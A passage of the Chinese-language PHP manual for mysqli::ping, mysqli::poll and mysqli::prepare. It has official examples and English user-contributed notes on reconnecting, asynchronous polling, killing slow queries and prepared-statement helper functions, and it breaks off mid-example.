Here es little example to create a SSL Connection

<?php

$db = mysqli_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connect('localhost','root','','mydb');

//Here some query

$db->close();

?>


ping 一个连接，或者如果连接处于断开状态，重新连接

  • ? mysqli::options
  • mysqli::poll ?
  • PHP Manual
  • mysqli
  • ping 一个连接，或者如果连接处于断开状态，重新连接

mysqli::ping

mysqli_ping

(PHP 5, PHP 7, PHP 8)

mysqli::ping -- mysqli_ping — ping 一个连接，或者如果连接处于断开状态，重新连接

说明

面向对象风格

public mysqli::ping(): bool

过程化风格

mysqli_ping(mysqli $mysql): bool

检查到服务器的连接是否还正常。在启用 mysqli.reconnect 选项的前提下，如果连接已经断开，ping 操作会尝试重新建立连接。

Note: mysqlnd 驱动会忽略 php.ini 中的 mysqli.reconnect 选项，所以它不会自动重连。

客户端建立连接之后，长时间处于闲置状态，可以用此函数来检查服务器是否关闭了这个连接，如有必要，将会自动重新建立到服务器的连接。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::ping() 示例

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

/* 检查连接是否还活跃 */
if ($mysqli->ping()) {
printf ("Our connection is ok!\n");
} else {
printf ("Error: %s\n", $mysqli->error);
}

/* 关闭连接 */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* 检查连接是否还活跃 */
if (mysqli_ping($link)) {
printf ("Our connection is ok!\n");
} else {
printf ("Error: %s\n", mysqli_error($link));
}

/* 关闭连接 */
mysqli_close($link);
?>

以上示例会输出：

Our connection is ok!

User Contributed Notes

root at jusme dot org 21-Sep-2015 10:00
As jay at grooveshark dot com very helpfully pointed out, the mysqlnd driver which is becoming pretty standard does not obey reconnect commands. If you have a DB wrapper class (which hopefully you do) you can implement your own version of ping() such as:

<?php

class db extends mysqli
{
    private $db_host;
    private $db_user;
    private $db_pass;
    private $db_name;
    private $persistent;

    public function __construct($db_host, $db_user, $db_pass, $db_name, $persistent = true)
    {
        $this->db_host = $db_host;
        $this->db_user = $db_user;
        $this->db_pass = $db_pass;
        $this->db_name = $db_name;
        $this->persistent = $persistent;

        parent::init();
        parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 1);
        @parent::real_connect(($this->persistent ? 'p:' : '') . $this->db_host, $this->db_user, $this->db_pass, $this->db_name);

        if ($this->connect_errno)
            die("All DB servers down!\n");
    }

    public function ping()
    {
        @parent::query('SELECT LAST_INSERT_ID()');

        if ($this->errno == 2006)
            $this->__construct($this->db_host, $this->db_user, $this->db_pass, $this->db_name, $this->persistent);
    }
...
}

$db = new db(DB_HOST, DB_USER, DB_PASS, DB_NAME);
// Some code that potentially takes a really long time to execute goes here
// Ping for safety to try to gracefully reconnect
$db->ping();
// Now we should be able to run queries again
$db->query('SELECT LAST_INSERT_ID()');

?>

If you wanted you could even put "$this->ping();" at the top of db::query() to avoid any explicit reconnection calls but I wouldn't recommend it due to the (slight) overhead of running the cheap "SELECT LAST_INSERT_ID()" query every time prior to running your real intended query. There are probably even cheaper queries to run in favor of "SELECT LAST_INSERT_ID()" but it was the first that came to mind and is cheap enough for most purposes since you shouldn't be calling ping() a whole bunch anyway.
snooops84 at googlemail dot com 13-Feb-2015 08:56
The behaviour about the option mysqli.reconnect is default set to Off at Debian PHP Packages. So i would recommend to update the first line description about the recommendation at the option mysqli.reconnect. (practice note ;))
jay at grooveshark dot com 27-Sep-2014 12:07
This does not work with mysqlnd and is marked as wontfix: https://bugs.php.net/bug.php?id=52561


轮询连接

  • ? mysqli::ping
  • mysqli::prepare ?
  • PHP Manual
  • mysqli
  • 轮询连接

mysqli::poll

mysqli_poll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::poll -- mysqli_poll — 轮询连接

说明

面向对象风格

public static mysqli::poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false

过程化风格

mysqli_poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false

轮询连接。此方法是 static 的。

Note:

仅可用于 mysqlnd。

参数

read

要检测是否存在可以读取的结果集的连接的数组。

error

发生错误的，例如：SQL 语句执行失败或者已经断开的 连接的数组。

reject

没有可以读取的结果集的连接 的数组。

seconds

秒为单位的最大等待时间，不可以为负数。

microseconds

微秒为单位的最大等待时间，不可以为负数。

返回值

成功执行则返回存在可以读取结果集的连接数量， 否则 false。

示例

Example #1 mysqli_poll() 示例

<?php
$link1 = mysqli_connect();
$link1->query("SELECT 'test'", MYSQLI_ASYNC);
$all_links = array($link1);
$processed = 0;
do {
$links = $errors = $reject = array();
foreach ($all_links as $link) {
$links[] = $errors[] = $reject[] = $link;
}
if (!mysqli_poll($links, $errors, $reject, 1)) {
continue;
}
foreach ($links as $link) {
if ($result = $link->reap_async_query()) {
print_r($result->fetch_row());
if (is_object($result))
mysqli_free_result($result);
} else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
$processed++;
}
} while ($processed < count($all_links));
?>

以上示例会输出：

Array
(
    [0] => test
)

参见

  • mysqli_query() - 对数据库执行查询
  • mysqli_reap_async_query() - 获取异步查询的结果

User Contributed Notes

marcin dot wanat at gmail dot com 14-Dec-2022 02:23
It is worth to note that example from this docs will results in waiting for all queries to be executed before you can reap your results.

5 years ago bishop from php.net has posted solution that allow to fetch results of each query immediately after executed. For some reason this has never been merged to php manual.

https://bugs.php.net/bug.php?id=70505

The documentation for mysqli_poll suggests iterating through the links after running the poll:

    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }

This is not a good way to go about it when you have queries of different run-times, because mysqli_reap_async_query() blocks until the query resolves, which is contrary to the nature of the async poll.

An approach that respects multiple queries of different run times is to run a reaping function over each of the modified arrays:

    $count = mysqli_poll($read, $error, $reject, 1);
    if (0 < $count) {
        array_walk($read,   'reap');
        array_walk($error,  'reap');
        array_walk($reject, 'reap');
    }

function reap($link) {
    $result = mysqli_reap_async_query($link);
    if (is_object($result)) {
        print_r($result->fetch_assoc()));
        mysqli_free_result($result);
    } else if (false !== $result) {
        print_r($link);
    } else {
        die(mysqli_error($link));
    }
}

This also handles the case where the query is a CRUD and the result of reap_async_query isn't a result object.
ekalashnikov at gmail dot com 04-Oct-2017 07:07
Improved version of using polling to check for slow query,
"KILL #ID" does not work if id of the myqsli link is the same as the one that kills it,
so you have to disconnect from mysqli and connect again with new link to
kill the #ID.
<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted()) {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $kill = mysqli_kill($link_new, $thread_id);
          if ($kill)
          {
            die();
          }
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
ekalashnikov at gmail dot com 03-Oct-2017 09:54
This is how you can test and terminate slow query with polling.

<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted() && mysqli_kill($link, $thread_id)) {
            die();
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          mysqli_kill($link, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
shestero at meta dot ua 21-Jan-2016 12:24
Sometime it's not clear what does it mean as connection is "ready" . Does it mean the query completed or just some records ready to read?
Is it possible to use asynchronous (unblocking) and unbuffered SELECT-query? I.e. with both MYSQLI_ASYNC|MYSQLI_USE_RESULT

I want some poll-like code inside my loop that has four case-options:
1. Poll wait time-out is over but no records of result set is ready.
2. One or more records are ready to read (but the query still running).
3. Query is successfully over (completed; no more records).
4. Error.

Is it possible?

As I understood the operation of reading a record from unbuffered query is blocking if there are no ready records at the moment, and there is no functions to get out how much records are ready ?
l_sanczyk at hotmail dot com 21-Jul-2014 07:56
You can use the following code to execute, for example, 10 simultaneous queries:

$query = "SELECT `field1`, `field2` FROM `table` WHERE `field1`='something'";

$all_links = array();
for($i=0; $i<10; $i++) {
    $link = mysqli_connect("your.mysql.server.here","your@user","pa$$w0rd",DataBase_Name");
    $link->query($query, MYSQLI_ASYNC);
    $all_links[] = $link;
}

$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));

NOTE: If you get a "Warning: mysqli::query() expects parameter 2 to be long, string given" you have a mysqlnd installation or configuration issue.


预处理执行 SQL

  • ? mysqli::poll
  • mysqli::query ?
  • PHP Manual
  • mysqli
  • 预处理执行 SQL

mysqli::prepare

mysqli_prepare

(PHP 5, PHP 7, PHP 8)

mysqli::prepare -- mysqli_prepare — 预处理执行 SQL

说明

面向对象风格

public mysqli::prepare(string $query): mysqli_stmt|false

过程化风格

mysqli_prepare(mysqli $mysql, string $query): mysqli_stmt|false

预处理 SQL 查询并返回 statement 句柄，用于对语句进行后续操作。查询仅仅支持单条 SQL 语句。

语句模板可以包含零或多个问号（?）参数标记，也称作占位符。在执行语句之前，必须使用 mysqli_stmt_bind_param() 将参数标记绑定到应用程序变量。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

query

string 格式的语句。必须由单个 SQL 语句组成。

SQL 语句可能在适当的位置包含零个或多个由问号（?）字符表示的参数标记。

Note:

SQL 语句中，仅允许在特定的位置出现问号参数占位符。例如，允许在 INSERT 语句中的 VALUES() 列表中使用，表示对应列的值，也可以在 WHERE 子句中使用参数来表示要进行比较的值。但不允许用于标识符（例如表名或列名）。

返回值

mysqli_prepare() 返回一个 statement 对象，如果发生错误则返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::prepare() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* 创建预处理语句 */
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");

/* 为标记绑定参数 */
$stmt->bind_param("s", $city);

/* 执行查询 */
$stmt->execute();

/* 绑定结果变量 */
$stmt->bind_result($district);

/* 获取值 */
$stmt->fetch();

printf("%s is in district %s\n", $city, $district);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* 创建预处理语句 */
$stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?");

/* 为标记绑定参数 */
mysqli_stmt_bind_param($stmt, "s", $city);

/* 执行查询 */
mysqli_stmt_execute($stmt);

/* 绑定结果变量 */
mysqli_stmt_bind_result($stmt, $district);

/* 获取值 */
mysqli_stmt_fetch($stmt);

printf("%s is in district %s\n", $city, $district);

以上示例会输出：

Amersfoort is in district Utrecht

参见

  • mysqli_stmt_execute() - Executes a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

urso at email dot cz 03-Dec-2022 10:31
Unfortunately, the use "/* bind result variables */ $stmt->bind_result($district);" is obsolete and condemned.

<?php
$mysqli = new mysqli("localhost", "test", "test", "test");
if ($mysqli->character_set_name()!="utf8mb4") { $mysqli->set_charset("utf8mb4"); }
$secondname = "Ma%";
$types = "s";
$parameters = array($secondname);
$myquery = "select * from users where secondname like ?";
if ($stmt = $mysqli->prepare($myquery)) {
  $stmt->bind_param($types, ...$parameters);
  $stmt->execute();
  $result = $stmt->get_result();
  $stmt->close();
  $numrows = $result->num_rows;
  while($row = $result->fetch_assoc()) {
    echo $row['firstname']." ".$row['secondname']."<br />";
  }
}
$mysqli->close();
?>

Also, instead of '$stmt->bind_param("s", $city);', use "$stmt->bind_param($types, ...$parameters);" with array. Here the advantage of using an array ($parameters) is already obvious, instead of 5 variables, one array of 5 elements is used.

<?php
$mysqli = new mysqli("localhost", "test", "test", "test");
if ($mysqli->character_set_name()!="utf8mb4") { $mysqli->set_charset("utf8mb4"); }
$uid = intval($_POST['uid']);
$length=15; $account = mb_substr(trim($_POST['account']),0,$length,"utf-8"); $account=strip_tags($account);
$length=50; $password = mb_substr(trim($_POST['password']),0,$length,"utf-8"); $password = password_hash($password, PASSWORD_DEFAULT);
$length=25; $prijmeni = mb_substr(trim($_POST['prijmeni']),0,$length,"utf-8"); $prijmeni=strip_tags($prijmeni);
$length=25; $firstname = mb_substr(trim($_POST['firstname']),0,$length,"utf-8"); $firstname=strip_tags($firstname); $firstname = str_replace(array(">","<",'"'), array("","",""), $firstname);
$dotaz = "UPDATE users SET account = ?, password = ?, secname = ?, firstname = ? WHERE uid = ?";
$types = "ssssi";
$parameters = array($account,$password,$prijmeni,$firstname,$uid);
if ($stmt = $mysqli->prepare($dotaz)) {
  $stmt->bind_param($types, ...$parameters);
  $stmt->execute();
  echo $stmt->affected_rows;
  $stmt->close();
}
$mysqli->close();
?>
wapharshitsingh at gmail dot com 12-May-2021 03:41
just wanted to share here, how we can use prepare statement with the combination of ... operator effectively .
<?php
class Database{
 private function getTypeofValues($string, $value){
        if(is_float($value)){
            $string .= "d";
        }elseif(is_integer($value)){
            $string .= "i";
        }elseif(is_string($value)){
            $string .= "s";
        }else{
            $string .= "b";
        }
        return $string;
    }
 public function makeQuery($query, array $values){
        $stmt = $this->connection->prepare($query);
        $type = array_reduce($values, array($this, "getTypeOfValues"));
        $stmt->bind_param($type, ...$values);
        $stmt->execute();
        $result = $stmt->get_result();
        return $result;
    }
}
?>
omidbahrami1990 at gmail dot com 06-Dec-2017 10:49
This Is A Secure Way To Use mysqli::prepare
--------------------------------------------------------
<?php
function secured_signup($username,$password)
{
$connection = new mysqli($dbhost,$dbusername,$dbpassword,$dbname);
if ($connection->connect_error)
die("Secured");

$prepared = $connection->prepare("INSERT INTO `users` ( `username` , `password`  ) VALUES ( ? , ? ) ; ");
if($prepared==false)
die("Secured");

$result=$prepared->bind_param("ss",$username,$password);
if($result==false)
die("Secured");

$result=$prepared->execute();
if($result==false)
die("Secured");

$prepared->close();
$connection->close();
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
kritz at hrz dot tu-chemnitz dot de 10-May-2017 08:57
I wasn't able to fully test the following since the server I am currently working on is missing the PHP module that allows me to call get_result on mysqli_stmt but maybe this could be helpful for someone:

<?php

/**
 * Custom {@link \mysqli} class with additional functions.
 */
class CustomMysqli extends \mysqli
{
    /**
     * Creates a prepared query, binds the given parameters and returns the result of the executed
     * {@link \mysqli_stmt}.
     * @param string $query
     * @param array $args
     * @return bool|\mysqli_result
     */
    public function queryPrepared($query, array $args)
    {
        $stmt   = $this->prepare($query);
        $params = [];
        $types  = array_reduce($args, function ($string, &$arg) use (&$params) {
            $params[] = &$arg;
            if (is_float($arg))         $string .= 'd';
            elseif (is_integer($arg))   $string .= 'i';
            elseif (is_string($arg))    $string .= 's';
            else                        $string .= 'b';
            return $string;
        }, '');
        array_unshift($params, $types);

        call_user_func_array([$stmt, 'bind_param'], $params);

        $result = $stmt->execute() ? $stmt->get_result() : false;

        $stmt->close();

        return $result;
    }
}

$db = new CustomMysqli('host', 'user', 'password', 'database', 3306);
$result = $db->queryPrepared(
    'SELECT * FROM table WHERE something = ? AND someotherthing = ? AND elsewhat = ?',
    [
        'dunno',
        1,
        'dontcare'
    ]
);

if (isset($result) && $result instanceof \mysqli_result) {
    while (null !== ($row = $result->fetch_assoc())) {
        echo '<pre>'.var_debug($row, true).'</pre>';
    }
}

?>

NOTE: If you want to use this with a PHP version below 5.4 you have to use the old ugly array() syntax for arrays instead of the short [] syntax.
cdtreeks at gmail dot com 11-Jan-2015 01:23
When executing a prepared MySQL, by default if there's an error then you'll simply get FALSE returned from your call to prepare().

To get the full MySQL error back create a statement object before preparing your query as such:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$statement = $mysqli->stmt_init();
if ($statement->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for marker(s) */
    $statement->bind_param("s", $city);

    /* execute query */
    if (!$statement->execute()) {
        trigger_error('Error executing MySQL query: ' . $statement->error);
    }

    /* bind result variables */
    $statement->bind_result($district);

    /* fetch value */
    $statement->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $statement->close();
}

/* close connection */
$mysqli->close();
?>
REz 05-Nov-2014 11:35
There is no reference that all data must be fetched before a new prepare call to msqli, the only help is in a 6 years old comment!
You have to myslqi_stmt::fetch() data until NULL is returned before you can call mysqli::prepare() again without having FALSE and no error at all in mysqli::$errno and mysqli::$error
marmstro at gmail dot com 04-Oct-2013 03:05
If your IDE isn't recognizing $stmt as an object of type mysqli_stmt when you use the traditional perpare:

$stmt = mysqli_prepare($link, $query);

The following works and is IDE friendly:

$stmt = new mysqli_stmt($link, $query);
@runspired 31-Jan-2013 04:42
I don't think this is a bug, just an unexpected behavior.  While building an API I discovered that passing INT 0 instead of STRING '0' into a prepared statement caused my script to run out of memory and produce a 500error on the webpage.

A simplified example of this issue is below: ($_DB is a global reference to a mysqli connection)

<?php
function getItem( $ID ) {

     $_STATEMENT = $_DB->prepare("SELECT item_user, item_name, item_description FROM item WHERE item_id = ?;");

     $_STATEMENT->bind_param( 'i' , $ID );

     $_STATEMENT->execute();
     $_STATEMENT->store_result();

     $_STATEMENT->bind_result( $user , $name , $description);
     $result = $_STATEMENT->fetch();

     $_STATEMENT->free_result();
     $_STATEMENT->close();

     return $result;
}

getItem(0); //fails!
getItem('0'); //works!

?>

The best I can guess is that an INT 0 gets translated as BOOLEAN , and if this is indeed the case it should be documented above, but all efforts to get error information (via the php script) have failed.
timchampion dot NOSPAM at gmail dot com 17-Feb-2012 08:56
Just wanted to make sure that all were aware of get_result.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... document's example code:

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {

        // use your $myrow array as you would with any other fetch
        printf("%s is in district %s\n", $city, $myrow['district']);

    }
?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.
Bernie van&#39;t Hof 02-Feb-2012 06:38
Prepared statements are confusing in the beginning ..

mysqli->prepare() returns a so-called statement object which is used for subsequent operations eg execute, bind_param, store_result, bind_result, fetch, etc.

The statement object has private properties which update as each statement operation is carried out. I found these useful for understanding what is going on when writing a prepared statement function:

affected_rows
insert_id
num_rows
param_count
field_count
errno
error
sqlstate
id

But it took a little time to get my head around accessing them:

<?php
$stmt = $mysqli->prepare($query);

//       .. $stmt-> operations ..

var_dump($stmt); // shows null values

var_dump($stmt->errno); // note literal, displays value

//       .. $stmt-> operations ..

// to keep a copy ..
// get_object_properties() won't work
// clone() won't work
$properties = array();
foreach ($stmt as $name => $priv){
    $properties[$name] = $stmt->$name; //    works
    // $properties[$name] = $priv; //    won't work, foreach can't access private properties
}

$stmt->close();
// var_dump($stmt->errno) // won't work, $stmt is closed
?>
Darren 13-Jan-2012 11:09
I wrote this function for my personal use and figured I would share it.  I am not sure if this is the appropriate forum but I wish I had this when I stumbled on to mysqli::prepare.  The function is an update of the function I posted previously.  The previous function could not handle multiple queries.

For queries:
Results of single queries are given as arrays[row#][associated Data Array]
Results of multiple queries are given as arrays[query#][row#][associated Data Array]

For queries which return an affected row#, affected rows are returned instead of (array[row#][associated Data Array])

Code and example are below:

<?php
function mysqli_prepared_query($link,$sql,$typeDef = FALSE,$params = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if(count($params) == count($params,1)){
      $params = array($params);
      $multiQuery = FALSE;
    } else {
      $multiQuery = TRUE;
    }

    if($typeDef){
      $bindParams = array();
      $bindParamsReferences = array();
      $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),"");
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }
      array_unshift($bindParamsReferences,$typeDef);
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences);
    }

    $result = array();
    foreach($params as $queryKey => $query){
      foreach($bindParams as $paramKey => $value){
        $bindParams[$paramKey] = $query[$paramKey];
      }
      $queryResult = array();
      if(mysqli_stmt_execute($stmt)){
        $resultMetaData = mysqli_stmt_result_metadata($stmt);
        if($resultMetaData){
          $stmtRow = array();
          $rowReferences = array();
          while ($field = mysqli_fetch_field($resultMetaData)) {
            $rowReferences[] = &$stmtRow[$field->name];
          }
          mysqli_free_result($resultMetaData);
          $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
          $bindResultMethod->invokeArgs($stmt, $rowReferences);
          while(mysqli_stmt_fetch($stmt)){
            $row = array();
            foreach($stmtRow as $key => $value){
              $row[$key] = $value;
            }
            $queryResult[] = $row;
          }
          mysqli_stmt_free_result($stmt);
        } else {
          $queryResult[] = mysqli_stmt_affected_rows($stmt);
        }
      } else {
        $queryResult[] = FALSE;
      }
      $result[$queryKey] = $queryResult;
    }
    mysqli_stmt_close($stmt);
  } else {
    $result = FALSE;
  }

  if($multiQuery){
    return $result;
  } else {
    return $result[0];
  }
}
?>

Example(s):
For a table of firstName and lastName:
John Smith
Mark Smith
Jack Johnson
Bob Johnson

<?php
//single query, single result
$query = "SELECT * FROM names WHERE firstName=? AND lastName=?";
$params = array("Bob","Johnson");

mysqli_prepared_query($link,$query,"ss",$params)
/*
returns array(
0=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
*/

//single query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array("Smith");

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
*/

//multiple query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array(array("Smith"),array("Johnson"));

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=>
array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
1=>
array(
0=> array('firstName' => 'Jack', 'lastName' => 'Johnson')
1=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
)
*/
?>

Hope it helps =)
Darren 11-Jan-2012 03:59
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
Zeebuck 24-Jul-2011 12:51
I think that the purpose that it was originally built for, and the purpose that people use it for today, have diverged.  But why dwell on the original purpose?  Obviously more code has been put into prepared statements today to allow it to be used to prevent sql injections, so it is now part of the design purpose today, as well as performance on repeatable statements.
Codeguy 29-Apr-2011 07:39
The actual purpose to use a prepared statement in sql is to cut the cost of processing queries; NOT to separate data from query. That's how it's being used w/ php NOW, not how it was designed to be used in the first place. With SQL you cut the cost of executing multiple similar queries down by using a prepared statement.. Doing so cuts out the parsing, validation and most often generates an execution plan for said query up front. Which is why they run faster in a loop, than their  IMMEDIATE Query cousins do. Do not assume that just because someone uses php and this function this way does not mean that it is THE way, or only way to do it. Although it is more secure than general queries but they are also more limited in what they can do or more precisely how you can go about doing it.
prwexler at earthlink dot net 09-Apr-2011 04:14
Actually, the purpose of a prepare statement is to separate user input from SQL commands.  This increases security by preventing a user from executing his own SQL code and damaging the integrity of a database.
sdepouw at NOSPAM dot com 29-Jul-2009 06:03
I don't know how obvious this was for anyone else, but if you attempt to prepare a query for a table that doesn't exist in the database the connection currently points to (or if your query is invalid in some other way, I suppose), an object will not be returned. I only noticed this after doing some digging when I kept getting a fatal error saying that my statement variable was not an set to an instance of an object (it was probably null).

Replace NOSPAM with nimblepros to e-mail me.
rafael at stiod dot com 29-Sep-2008 04:44
All data must be fetched before a new statement prepare
admin at xorath dot com 15-Aug-2007 10:39
Performance note to those who wonder. I performed a test where first of all inserted about 30,000 posts with one PK:id and a varchar(20), where the varchar data was md5-hash for the current iterator value just to fill with some data.

The test was performed on a dedicated ubuntu 7.04 server with apache2/php5/mysql5.0 running on Athlon 64 - 3000+ with 512MB of RAM. The queries where tested with a for-loop from 0 to 30000 first with:

<?php
for ( $i = 0; $i <= 30000; ++$i )
{
